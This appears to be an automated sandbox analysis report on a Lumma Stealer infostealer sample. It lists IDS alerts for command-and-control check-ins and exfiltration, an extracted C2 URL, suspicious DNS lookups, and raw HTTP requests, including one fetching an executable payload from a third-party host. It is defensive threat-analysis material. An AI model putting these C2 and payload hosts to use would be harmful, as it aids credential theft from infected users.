Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49857 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49850 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49850 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49913 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49930 -> 104.21.96.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://sputnik-1985.com/api

Source: global traffic

TCP traffic: 192.168.2.7:56627 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49850 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49839 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49887 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49857 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49866 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49900 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49941 -> 85.239.54.77:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49930 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49913 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49876 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50019 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 104.40.149.189
Source: unknown	UDP traffic detected without corresponding DNS query: 104.40.149.189
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /15PRC4 HTTP/1.1Host: iplogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /15PRC4 HTTP/1.1Host: iplogger.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.134"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=9003850dd90e7d1a HTTP/1.1Host: iplogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.134"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://iplogger.com/15PRC4?__cf_chl_rt_tk=dxxkjtJLb2Yx8agHN4H3FF7Ul_f0aTMlpYD2o5JTYxg-1736583963-1.0.1.1-XmsP4u.i57hvBgn2UmcK4L_FX_KTNX7pPKMI414afLcAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js?onload=JgQlg5&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://iplogger.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=9003850dd90e7d1a HTTP/1.1Host: iplogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: iplogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.134"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://iplogger.com/15PRC4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js?onload=JgQlg5&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/261494574:1736583169:ezHic82teOCOynZTEESUXiZuFMVkK80anmx6aY9hydg/9003850dd90e7d1a/9eCHoPFn8y7VuJ6TcVa0XOF_dnQeTW_Dibh1o.sWHM0-1736583963-1.2.1.1-L2LsngXWnR9Mni6QlWnN_T2l1wPomJWa5aIma9o76zaosyPo.m2foyAIQER.Oqxi HTTP/1.1Host: iplogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: iplogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9003851e0d620f5f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9003851e0d620f5f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9003851e0d620f5f/1736583968694/YjI3dvGUaxr5YyA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9003851e0d620f5f/1736583968694/YjI3dvGUaxr5YyA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9003851e0d620f5f/1736583968697/f77bf8d991b52720fd45b51e51b01e2ccaf91189a100170798eaa9cb6fe96ebd/NzSgyZo_TOjvqjH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1949578411:1736583276:eR2EiY8VxPNeRyNah4G3ZsTQP2lUjkNd2lfAbj45mRU/9003851e0d620f5f/JnZJhSYQZ4l.8fpHYEkmwV2yfPuZZl0lKWzjX7oNpTc-1736583966-1.1.1.1-AjZzZbOr0X_sxhg2kEgQ0HTsqcd78q3NSD39ILXzMTI4mDcdUqJzTyDnC0Tupi_e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /file/nixsudo.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: fitbudds.com
Source: global traffic	HTTP traffic detected: GET /int_clp_pan.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipgylagyi.shop

Source: msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 04:7e:cb:e9:fc:a5:5f:7b:d0:9e:ae:36:e1:0c:ae:1email.google.comf5:c8:6a:f3:61:62:f1:3a:64:f5:4f:6d:c9:58:7c:06www.google.comd7:55:8f:da:f5:f1:10:5b:b2:13:28:2b:70:77:29:a3login.yahoo.com39:2a:43:4f:0e:07:df:1f:8a:a3:05:de:34:e0:c2:293e:75:ce:d4:6b:69:30:21:21:88:30:ae:86:a8:2a:71e9:02:8b:95:78:e4:15:dc:1a:71:0a:2b:88:15:44:47login.skype.com92:39:d5:34:8f:40:d1:69:5a:74:54:70:e1:f2:3f:43addons.mozilla.orgb0:b7:13:3e:d0:96:f9:b5:6f:ae:91:c8:74:bd:3a:c0login.live.comd8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0global trustee05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56.google.com0c:76:da:9c:91:0c:4e:2c:9e:fe:15:d0:58:93:3c:4cDigiNotar Root CAf1:4a:13:f4:87:2b:56:dc:39:df:84:ca:7a:a1:06:49DigiNotar Services CA36:16:71:55:43:42:1b:9d:e6:cb:a3:64:41:df:24:38DigiNotar Services 1024 CA0a:82:bd:1e:14:4e:88:14:d7:5b:1a:55:27:be:bf:3eDigiNotar Root CA G2a4:b6:ce:e3:2e:d3:35:46:26:3c:b3:55:3a:a8:92:21CertiID Enterprise Certificate Authority5b:d5:60:9c:64:17:68:cf:21:0e:35:fd:fb:05:ad:41DigiNotar Qualified CA46:9c:2c:b007:27:10:0dDigiNotar Cyber CA07:27:0f:f907:27:10:0301:31:69:b0DigiNotar PKIoverheid CA Overheid en Bedrijven01:31:34:bfDigiNotar PKIoverheid CA Organisatie - G2d6:d0:29:77:f1:49:fd:1a:83:f2:b9:ea:94:8c:5c:b4DigiNotar Extended Validation CA1e:7d:7a:53:3d:45:30:41:96:40:0f:71:48:1f:45:04DigiNotar Public CA 202546:9c:2c:af46:9c:3c:c907:27:14:a9Digisign Server ID (Enrich)4c:0e:63:6aDigisign Server ID - (Enrich)72:03:21:05:c5:0c:08:57:3d:8e:a5:30:4e:fe:e8:b0UTN-USERFirst-Hardware41MD5 Collisions Inc. (http://www.phreedom.org/md5)08:27.EGO.GOV.TR08:64e-islem.kktcmerkezbankasi.org03:1d:a7AC DG Tr equals www.yahoo.com (Yahoo)
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/ https://s.ykf equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: iplogger.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cashju1cyh0.cyou
Source: global traffic	DNS traffic detected: DNS query: processhol.sbs
Source: global traffic	DNS traffic detected: DNS query: librari-night.sbs
Source: global traffic	DNS traffic detected: DNS query: befall-sm0ker.sbs
Source: global traffic	DNS traffic detected: DNS query: p10tgrace.sbs
Source: global traffic	DNS traffic detected: DNS query: peepburry828.sbs
Source: global traffic	DNS traffic detected: DNS query: owner-vacat10n.sbs
Source: global traffic	DNS traffic detected: DNS query: 3xp3cts1aim.sbs
Source: global traffic	DNS traffic detected: DNS query: p3ar11fter.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sputnik-1985.com
Source: global traffic	DNS traffic detected: DNS query: fitbudds.com
Source: global traffic	DNS traffic detected: DNS query: klipgylagyi.shop

Source: unknown

HTTP traffic detected: POST /report/v4?s=2sfT4WiK2kh0KxVY8WQeIpQLaTLvj7EYXIJ11DgZB7Rtf8wv0v1FykVXNCFMrAQskvoud7szqV0ho8Blco9XlLOYvjC4FtRPDntkHNAtlKqsDdh1xih79khymkBesfc%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 389Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 11 Jan 2025 08:26:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: 